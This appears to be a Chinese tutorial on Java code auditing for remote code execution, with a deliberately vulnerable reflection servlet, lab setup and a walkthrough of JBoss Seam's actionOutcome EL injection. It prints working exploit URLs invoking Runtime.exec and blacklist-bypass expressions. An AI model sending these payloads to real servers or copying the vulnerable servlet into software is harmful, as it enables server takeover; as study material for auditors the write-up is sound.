【Java 代码审计入门-05】RCE 漏洞原理与实际案例介绍

public void CommandFound(HttpServletRequest req, HttpServletResponse resp) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IOException {
        // TODO Auto-generated method stub
        PrintWriter print = resp.getWriter();
        
  // 接收参数
        String name = req.getParameter("command");
        String method = req.getParameter("method");
        String str = req.getParameter("str");

  // 获取类的无参数构造方法
        Class getCommandClass = Class.forName(name);
        Constructor constructor = getCommandClass.getDeclaredConstructor();
        constructor.setAccessible(true);
    // 实例化类
        Object getInstance = constructor.newInstance();
    
  // 获取类方法
        Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);
        getCommandMethod.setAccessible(true);
  // 调用类方法
        Object mes = getCommandMethod.invoke(getInstance, str);
        
        print.println("即将执行的操作指令：<br>");
        print.println(mes);
        print.flush();
    }
}

update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk1.6.0_45/bin/javac 1
update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk1.6.0_45/bin/java 1
update-alternatives --install /usr/bin/javaws javaws /usr/lib/jvm/jdk1.6.0_45/bin/javaws 1
update-alternatives --install /usr/bin/jar jar /usr/lib/jvm/jdk1.6.0_45/bin/jar 1
update-alternatives --config javac
update-alternatives --config java
update-alternatives --config javaws
update-alternatives --config jar

# 存放 ant 的目录路径
export ANT_HOME=/home/panda/www/ant
# 刚才安装的 jdk 目录路径
export JAVA_HOME=/usr/lib/jvm
# 下面默认
export PATH=$JAVA_HOME/bin:$PATH:$ANT_HOME/bin
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar

<!-- A HTTP/1.1 Connector on port 8080 -->
      <Connector protocol="HTTP/1.1" port="8080" address="0.0.0.0" 
               connectionTimeout="20000" redirectPort="8443" />

      <!-- Add this option to the connector to avoid problems with 
          .NET clients that don't implement HTTP/1.1 correctly 
         restrictedUserAgents="^.*MS Web Services Client Protocol 1.1.4322.*$"
      -->

      <!-- A AJP 1.3 Connector on port 8009 -->
      <Connector protocol="AJP/1.3" port="8009" address="0.0.0.0"
         redirectPort="8443" />

# 该路径为 Jboss 的安装目录路径
jboss.home /home/panda/www/jboss

private static boolean callAction(FacesContext facesContext) {
     boolean result = false;   
  // 获取 HTTP 参数 actionOutcome 的值
     String outcome = (String)facesContext.getExternalContext().getRequestParameterMap().get("actionOutcome");
     String fromAction = outcome;   
     if (outcome == null) {
       
          // 获取 HTTP 参数 actionMethod 的值
         String actionId = (String)facesContext.getExternalContext().getRequestParameterMap().get("actionMethod");      
     if (actionId != null) {
       
                    if (!SafeActions.instance().isActionSafe(actionId)) 
            return result; 
                    String expression = SafeActions.toAction(actionId);
                    result = true;
                    Expressions.MethodExpression actionExpression = Expressions.instance().createMethodExpression(expression);
                    outcome = toString(actionExpression.invoke(new Object[0]));
               fromAction = expression;
                    handleOutcome(facesContext, outcome, fromAction);
           }  
       
     } else {       
       handleOutcome(facesContext, outcome, fromAction);
    } 
      return result;
  }

// handleOutcome 方法
public static void handleOutcome(FacesContext facesContext, String outcome, String fromAction) {
     facesContext.getApplication().getNavigationHandler().handleNavigation(facesContext, fromAction, outcome); 
     Contexts.getPageContext().flush();
   }

//  handleNavigation 方法
public void handleNavigation(FacesContext context, String fromAction, String outcome) {
     if (!context.getResponseComplete())
     {
       if (isOutcomeViewId(outcome)) {        
         FacesManager.instance().interpolateAndRedirect(outcome);
       } else if (Init.instance().isJbpmInstalled() && Pageflow.instance().isInProcess() && Pageflow.instance().hasTransition(outcome)) {       
            Pageflow.instance().navigate(context, outcome);
       } else if (!Pages.instance().navigate(context, fromAction, outcome)) {        
                 this.baseNavigationHandler.handleNavigation(context, fromAction, outcome);
       } 
    }
  }

 // isOutcomeViewId() 方法
private static boolean isOutcomeViewId(String outcome) { 
   return (outcome != null && outcome.startsWith("/")); 
 }

<h:commandButton action="#{hotelBooking.bookHotel(hotel.id, user.username)}"value="Book Hotel"/>

#{person.name.length()}
// 使用length()方法返回一个字符串的长度

expressions.getClass().forName('java.lang.Runtime')

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('xxx')

%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('xxx')}

/seam-booking/home.seam?actionOutcome=/test.xhtml?canshu=%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('gnome-calculator')}

/seam-booking/test.seam?canshu=java.lang.UNIXProcess%40ef99e17&cid=118

/seam-booking/home.seam?actionOutcome=/test.xhtml?xxx=%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[0]}

/seam-booking/test.seam?xxx=public+void+java.lang.Runtime.exit%28int%29&cid=143

/seam-booking/home.seam?actionOutcome=/test.xhtml?canshu=%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[13].invoke(expressions.getClass().forName('java.lang.R
untime').getDeclaredMethods()[6].invoke(null), 'gnome-calculator')}

.getClass()
.addRole(
.getPassword(
.removeRole(

"".getClass().forName("java.lang.Runtime")

""["class"].forName("java.lang.Runtime")